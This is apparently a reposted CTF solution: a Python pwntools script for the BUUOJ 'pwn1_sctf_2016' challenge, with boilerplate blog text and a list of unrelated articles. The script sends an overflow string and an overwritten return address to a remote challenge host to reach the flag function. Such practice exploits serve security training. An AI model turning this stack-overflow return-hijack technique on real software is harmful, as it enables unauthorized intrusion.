CTF-Buuoj-Pwn-pwn1_sctf_2016
2022/7/7 23:23:17
本文主要是介绍CTF-Buuoj-Pwn-pwn1_sctf_2016,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
#----------------------------------------------------------------------------------------------- # coding:UTF-8 | # author:zxcyyyyy000 | # :) | #----------------------------------------------------------------------------------------------- from PwnContext import * from pwnlib.util.packing import p32 from pwnlib.util.packing import p64 from pwnlib.util.packing import u32 from pwnlib.util.packing import u64 #----------------------------------------------------------------------------------------------- s = lambda data :ctx.send(str(data)) sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=False :ctx.recvuntil(delims, drop) rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) uu32 = lambda data :u32(data.ljust(4, b'\0')) uu64 = lambda data :u64(data.ljust(8, b'\0')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) irt = lambda :ctx.interactive() p = lambda :pause() #----------------------------------------------------------------------------------------------- Debug = 0 file_name = 'pwn1_sctf_2016' target_addr = 'node4.buuoj.cn:27253' libc_name = '' libc_path = '/home/ubuntu/Tools/libc-database/libs/' + libc_name + '/' context.log_level = 'DEBUG' ctx.binary = file_name if Debug == 0: elf = ELF(file_name) if(libc_name != ''): libc = ELF(libc_path+'libc.so.6') context.os = elf.os context.arch = elf.arch ctx.remote=(str((target_addr.split(':'))[0]),int((target_addr.split(':'))[1])) ctx.start('remote') elif Debug == 1: ctx.custom_lib_dir = libc_path ctx.debug_remote_libc = True elf = ELF(file_name) libc = ELF(libc_path+'libc.so.6') context.os = elf.os context.arch = elf.arch ctx.start() elif Debug == 2: elf = ELF(file_name) ctx.start() else: print("Error") exit(1) #----------------------------------------------------------------------------------------------- def Exploit(): sl('I'*21+'a'+p32(0x08048F0D)) irt() #----------------------------------------------------------------------------------------------- Exploit()
这篇关于CTF-Buuoj-Pwn-pwn1_sctf_2016的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-13PingCAP 戴涛:构建面向未来的金融核心系统
- 2024-05-09flutter3.x_macos桌面os实战
- 2024-05-09Rust中的并发性:Sync 和 Send Traits
- 2024-05-08使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B
- 2024-05-08完工标准(DoD)与验收条件(AC)究竟有什么不同?
- 2024-05-084万 star 的 NocoDB 在 sealos 上一键起,轻松把数据库编程智能表格
- 2024-05-08Mac 版Stable Diffusion WebUI的安装
- 2024-05-08解锁CodeGeeX智能问答中3项独有的隐藏技能
- 2024-05-08RAG算法优化+新增代码仓库支持,CodeGeeX的@repo功能效果提升
- 2024-05-08代码报错不用愁,CodeGeeX一键完成代码修复、错误解释的功能上线了!